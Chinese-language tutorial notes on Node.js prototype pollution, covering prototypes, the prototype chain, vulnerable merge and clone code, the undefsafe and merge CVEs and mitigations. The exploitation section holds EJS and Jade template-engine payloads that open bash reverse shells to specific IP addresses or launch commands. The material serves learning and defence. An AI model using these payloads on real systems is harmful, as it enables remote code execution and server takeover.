Nodejs原型污染
相关概念
所有的对象都继承自Object.prototype,包括{ “a”: 1, “b”: 2 }这样的对象。
Object.prototype是JavaScript中所有对象的原型对象,它是一个内置的对象,提供了一些通用的属性和方法,比如toString()和hasOwnProperty()等。
构造函数
在JavaScript中,可以使用==构造函数==的方式来定义一个类。构造函数是一个特殊的方法,在创建类的新实例时自动调用,用于初始化对象的属性。
function Foo() {
this.bar = 1
}
new Foo()
Foo函数的内容 就是 Foo类的构造函数 而this.bar 就是 Foo类的一个属性
请注意,与使用
class
关键字定义类不同,==使用构造函数方式定义的类,每次创建新的实例时,都会为每个实例创建一个新的函数对象==。因此,在具有大量实例的情况下,使用class
定义类通常更高效。为了简化编写JavaScript代码,ECMAScript 6后增加了
class
语法,但class
其实只是一个语法糖。
原型
==原型就是一个属性,即prototype属性,这个属性是构造函数的属性==,构造函数时用来制造出对象的。是构造函数制造出来的公共祖先,后面所有的对象都会继承原型的属性与方法。而后面会提到的_proto_
是用来查看原型的,是对象的属性。
为何要有原型这个东西?
- 使用构造函数方式定义的类,每次创建新的实例时,都会为每个实例创建一个新的函数对象。通过原型的机制,可以避免对象之间重复定义相同的方法,而是将方法定义在原型上以实现方法的共享和继承。
下面是一个简单的例子来演示原型的使用:
一个类中 必然有一些方法 类似 属性this.bar 我们也可以将方法 定义再构造函数内部
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望 在创建类的时候 只创建一次 show方法 这时候就要使用 ==prototype==(原型对象)了。这就印证了我们上面说的为何要有原型这个东西。
function Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}.`);
};
const john = new Person('John');
john.greet(); // 输出:Hello, my name is John.
在上面的例子中,我们定义了一个构造函数 Person
,并设置了一个 name
属性。然后,我们通过 Person.prototype
来定义 greet
方法。这样,通过 new
关键字创建的 Person
的实例 john
就==继承==了 greet
方法。
因此,我们可以在 john
对象上调用 greet
方法,输出一条问候语。
原型对象
每个对象都具有一个特殊属性__proto__
(非标准)或者[[Prototype]]
,它指向对象的原型对象。实际上可以理解为原型对象和原型是一个东西。只是我们用__proto__
的方法访问prototype
到这里不要犯迷糊,prototype这个属性是构造函数的属性,而这里的
__proto__
或者[[Prototype]]
是对象的属性,可以用它访问原型对象。
实际上,原型对象也是一个普通的对象,它可以拥有自己的原型对象,形成原型链。
下面是一个示例来说明原型对象的概念:
function Person(name) {
this.name = name;
}
Person.prototype.sayHello = function() {
console.log(`Hello, my name is ${this.name}.`);
};
const john = new Person('John');
//注意这两个true
console.log(john.__proto__ === Person.prototype); // 输出:true
console.log(Object.getPrototypeOf(john) === Person.prototype); // 输出:true
通过 __proto__
或者 Object.getPrototypeOf()
方法,我们可以获取到对象的原型对象。
需要注意的是,虽然可以直接通过 __proto__
属性访问对象的原型对象,在实际开发中,不推荐直接使用 __proto__
,而是使用 Object.getPrototypeOf()
方法,它提供了更好的可读性和兼容性。
原型链
==原型链是一种继承的手段。==
当前对象 -> 对象的原型 -> 原型的原型 -> …
由于_proto_
是任何对象都有的属性,而js里万物皆对象,所以会形成一条_proto_
连起来的链条,最终指向一个特殊的对象null
。
当我们访问对象的某个属性或方法时,如果该对象本身没有这个属性或方法,JavaScript 引擎会沿着原型链向上查找,直到找到对象最顶层的原型对象,或者找到该属性或方法为止。
以下是一个示例来说明原型链的概念:
例1
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类 继承了 Father类的last_name 属性 最后输出的 是 Name: Melania Trump
对于对象 son 在调用 son.last_name 的时候 实际上 JavaScript 引擎 会进行如下 操作
- 在对象son中寻找 last_name
- 找不到 则在son.proto 中寻找last_name
- 如果 仍然找不到 则继续在son.proto.proto 中寻找last_name
- 依次寻找 直到找到null 结束 比如 Object.prototype 的 proto都是 null
例2
function Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}.`);
};
function Student(name, grade) {
Person.call(this, name);
this.grade = grade;
}
Student.prototype = Object.create(Person.prototype);//通过 Object.create() 方法,我们将 Student.prototype对象的原型设置为Person.prototype,这样 Student 构造函数的实例就可以访问到 Person 的方法。
Student.prototype.constructor = Student;
Student.prototype.study = function() {
console.log(`${this.name} is studying in grade ${this.grade}.`);
};
const john = new Student('John', 5);//在创建 `Student` 实例时,首先调用 `Person.call(this, name)` 来初始化 `Person` 构造函数中定义的属性。然后,通过 `new` 关键字创建一个 `Student` 对象 `john`。
john.greet(); // 输出:Hello, my name is John.
john.study(); // 输出:John is studying in grade 5.
console.log(john instanceof Person); // 输出:true
console.log(john instanceof Student); // 输出:true
最后,我们可以通过 john
对象访问到 Person
和 Student
的方法,并且可以使用 instanceof
运算符检查对象之间的继承关系。
Function与constructor
在javascript中,有时会看到大写的Function,这个和小写的function有本质的区别
function 是一个用于定义函数的关键字。
Function 是代表所有函数的内置原型对象。
Object.prototype.constructor
理解Function之前,先补充下constructor的概念。
constructor是一个对象的数据属性,创建对象后,访问constructor属性,可以返回构造该对象的来源,(不是该对象的原型链上级,二者不同),见下面例子:
var a = 1;
a.__proto__
//Number {0, constructor: ƒ, toExponential: ƒ, toFixed: ƒ, toPrecision: ƒ, …}constructor: ƒ Number()toExponential: ƒ toExponential()toFixed: ƒ toFixed()toLocaleString: ƒ toLocaleString()toPrecision: ƒ toPrecision()toString: ƒ toString()valueOf: ƒ valueOf()[[Prototype]]: Object[[PrimitiveValue]]: 0
a.__proto__.constructor
//ƒ Number() { [native code] }
a.constructor
//ƒ Number() { [native code] }
a.constructor === Number
//true
var b = Number(1);
b.constructor === a.constructor
//true
上面代码中可以看到一部分constructor的特点:
1.变量a的原型链的上级是Number对象(a.proto)。
2.Number对象的constructor属性和变量a的constructor属性一样,可见本例的a的原型链的上级和constructor属性是包含关系。
3.Number对象的constructor属性值是Number方法,通过Number方法构造出的b,与a的属性相同,因为constructor属性,可以返回构造该对象的来源。
==简单的说constructor属性就是告诉你这个对象从哪来的。==
Function概念
==每一个javascript的function实际上都是Function对象==,在控制台运行如下,返回True
(function () {}).constructor === Function
Function是javascript内置的对象,Function用以实现很多基本功能,如Number、toString等。
- Function() constructor
Function()构造器可以创建一个Function对象,可以直接调用Function()构造器动态的创建函数。但是这样会存在类似eval()的安全隐患和一些性能问题。
- eval()和Function()区别:
eval()可以访问本地的变量、全局变量
Function()创建函数时只能执行全局变量
比如eval代码执行时可以这样加载module
//eval()
require('fs')
Function()则需要这样
//Function() constructor
global.process.mainModule.require('fs')
Function() constructor的语法
new Function(functionBody)
new Function(arg0, functionBody)
new Function(arg0, arg1, functionBody)
new Function(arg0, arg1, /* … ,*/ argN, functionBody)
Function(functionBody)
Function(arg0, functionBody)
Function(arg0, arg1, functionBody)
Function(arg0, arg1, /* … ,*/ argN, functionBody) 作者:J_Chanra https://www.bilibili.com/read/cv20770194?spm_id_from=333.999.0.0 出处:bilibili
是什么
原型链污染最关键的几个词汇就是:merage、verify、copy
demo1
// foo是一个简单的JavaScript对象
//{bar: 1}表示一个简单的 JavaScript 对象字面量,其中 bar 是属性名,1 是属性值。这个对象字面量可以用来创建一个包含单个属性的对象。
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
这个语句到最后 zoo.bar 的结果 是2 虽然zoo是一个 空对象
而这个的原因也就是 在前面我们修改foo的原型 foo.proto.bar =2 而 foo是一个 Object类的实例 所以 实际上是修改了Object这个类 给这个类增加了一个属性bar 值为2
后来 我们又用 Object类 创建了一个 zoo对象 那么 这个zoo对象 自然也有一个bar属性了
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
demo2
//所有的对象都继承自Object.prototype,包括{ “a”: 1, “b”: 2 }这样的对象。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
o1 和 o2 相当于继承了Object.prototype 所以当我们对一个对象设置foo属性 就造成了原型链污染 导致Object2 也拥有了foo属性
产生原因
如果 我们需要利用原型链污染 那我们就需要设置 __proto__
的值 也就是需要找到能控制数组的键名的操作 最常见的就是merge clone copy
merge
方法 是合并对象的方法 合并两个对象或者 多个对象的属性
clone
方法 就是克隆捏
这里的merge换成copy也是污染
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中 存在赋值的操作 target[key] = source[key] 那么 这个key如果是 proto是不是就可以进行原型链污染
我们用如下代码试一下啊
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
console.log(o1.a, o1.b)
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)//重点在观察o3是否污染
可以看到 这样写 并没有进行污染 但是 二者合并了
这是因为 我们用JavaScript 创建o2的过程{a: 1, "__proto__": {b: 2}}
中 proto已经代表o2的原型了 此时 遍历 o2所有键名 你拿到的是[a,b] proto并不是一个key 自然 也不会修改 Object的原型
那么 我们的任务就变成了 让proto 被认为是一个 键名
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o3.a)
最终输出
1 2
2
undefined
向上面这么写 最后会完成污染 这是因为 json解析的时候 proto会被认为成一个真正的键名 而不代表原型 所以在遍历o2的时候 会存在这个键。ps:前面用的let o2 = {a: 1, "__proto__": {b: 2}}
但是 我们输出a 为undefined,上面o1 o2 输出a为1 是因为 merge对二者进行了融合 但是并没有进行污染
这里也能比较清晰的认识到污染
漏洞利用
ejs模板rce
https://www.bilibili.com/read/cv20929156
EJS 是一套简单的模板语言,设计的初衷是用尽可能少的js代码,渲染出丰富的html页面。
poc
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;console.log(123);var __tmp2"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.69.158/7788 0>&1\"');var __tmp2"}}}
JADE
https://xz.aliyun.com/t/7025#toc-2
https://tari.moe/p/2021/ctfshow-nodejs#c869ae41c9ab4f08948195242a67266e
ctfshow342
常见 Express 模板引擎有(包括但不限于如下):
- jade
- pug
- ejs
- dust.js
- nunjunks
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"'))"}}
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')"}}}
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}
Undefsafe 模块原型链污染(CVE-2019-10795)
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'whoami'
}
}
};
console.log(object.a.b.e)
console.log(object.a.c.e)
可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:
undefsafe可以帮我们解决这个问题
var undef=require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'whoami'
}
}
};
console.log(undef(object,'a.b.e'))
console.log(object.a.b.e)
console.log(undef(object,'a.c.e'))
console.log(object.a.c.e)
它还有一个功能:在对对象赋值时,如果目标属性存在,其可以帮助我们==修改对应属性的值==
var undef=require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'whoami'
}
}
};
console.log(object)
undef(object, 'a.b.e' , '123')
console.log(object)
当属性不存在的时候 我们可以==对属性赋值==
var undef=require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'whoami'
}
}
};
console.log(object)
undef(object, 'a.f.e' , '123')
console.log(object)
这个需要下载 undefsafe小于2.0.3的版本
我们可以发现 当我们可以控制undefsafe函数的第2 3 个参数的时候 我们可以污染 object中的值
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
我们可以看到 上面成功的进行了原型链污染
因为 在在上面 污染了toString 因为在当前对象中找不到 于是 需要向上溯源
最后在进行this is 和 test拼接的时候 触发了tostring 造成了原型链污染
在2.0.3后的版本 加上了下面的限制
应该是 对于其修改Object中本身的属性 做出了限制 所以 不能进行污染了
审计
split()
function splitStr(str, separator) {
// Function to split string
var string = str.split(separator);
console.log(string);
}
// Initialize string
var str = "GeeksforGeeks/A/computer/science/portal";
var separator = "/";
// Function call
splitStr(str, separator);
Output:
[ 'GeeksforGeeks', 'A', 'computer', 'science', 'portal' ]
Array.prototype.filter()
filter()
方法會建立一個經指定之函式運算後,由原陣列中通過該函式檢驗之元素所構成的新陣列。
const words = ['spray', 'limit', 'elite', 'exuberant', 'destruction', 'present'];
const result = words.filter(word => word.length > 6);
console.log(result);
// expected output: Array ["exuberant", "destruction", "present"]
相当于一个 过滤器
Array.prototype.slice()
slice()
方法會回傳一個新陣列物件,為原陣列選擇之 begin
至 end
(不含 end
)部分的淺拷貝(shallow copy)。而原本的陣列將不會被修改。
const animals = ['ant', 'bison', 'camel', 'duck', 'elephant'];
console.log(animals.slice(2));
// expected output: Array ["camel", "duck", "elephant"]
console.log(animals.slice(2, 4));
// expected output: Array ["camel", "duck"]
console.log(animals.slice(1, 5));
// expected output: Array ["bison", "camel", "duck", "elephant"]
console.log(animals.slice(-2));
// expected output: Array ["duck", "elephant"]
console.log(animals.slice(2, -1));
// expected output: Array ["camel", "duck"]
console.log(animals.slice());
// expected output: Array ["ant", "bison", "camel", "duck", "elephant"]
这是相当于一个数组切割的工具
Array.prototype.join()
join() 方法會將陣列(或一個類陣列(array-like)物件)中所有的元素連接、合併成一個字串,並回傳此字串。
const elements = ['Fire', 'Air', 'Water'];
console.log(elements.join());
// expected output: "Fire,Air,Water"
console.log(elements.join(''));
// expected output: "FireAirWater"
console.log(elements.join('-'));
// expected output: "Fire-Air-Water"
Merge类操作导致原型链污染
原型链污染的主要思想 实际上就是寻找能够操纵键值的位置 然后利用proto来向上污染
const merge = (a, b) => { // 发现 merge 危险操作
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
在上面 我们使用了merge 进行操作 merge 方法用在merge操作 以及 clone操作中
我们可以 利用merge来合并两个 复杂的对象 用clone创建一个 和现在对象相同的对象
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
object3 = {}
console.log(object3.b)
merge有着合并的作用
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
function clone(a) {
return merge({}, a);
}
let object1 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
clone(object1)
console.log(object1.a);
console.log(object1.b);
object2 = {}
console.log(object2.b)
clone 也是一样的
merge.recursiveMerge CVE-2020-28499
影响2.1.1以下的merge版本
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y:1}};
console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);
修复
1.Object.freeze()冻结原型
1.Object.freeze(Object.prototype); 2. Object.freeze(Object); 3. ({}).proto.test = 123 4. ({}).test // this will be undefined 冻结原型后,无法添加新的原型至原型链
2.对JSON 输入验证
npm上有很多库,例如avj,可以对json数据验证,排除json数据中不需要的属性。
或者在复制对象,遍历键名的时候,检查"proto“和"constructor"中"prototype”,因为constructor.prototype也可以操作原型链。
3.使用map代替{}
4.使用Object.create()安全创建对象
- var obj = Object.create(null);
- obj.proto // undefined
- obj.constructor // undefined 这样创建的对象没有属性
5.nodejs中可以通过–disable-proto直接禁止操作原型链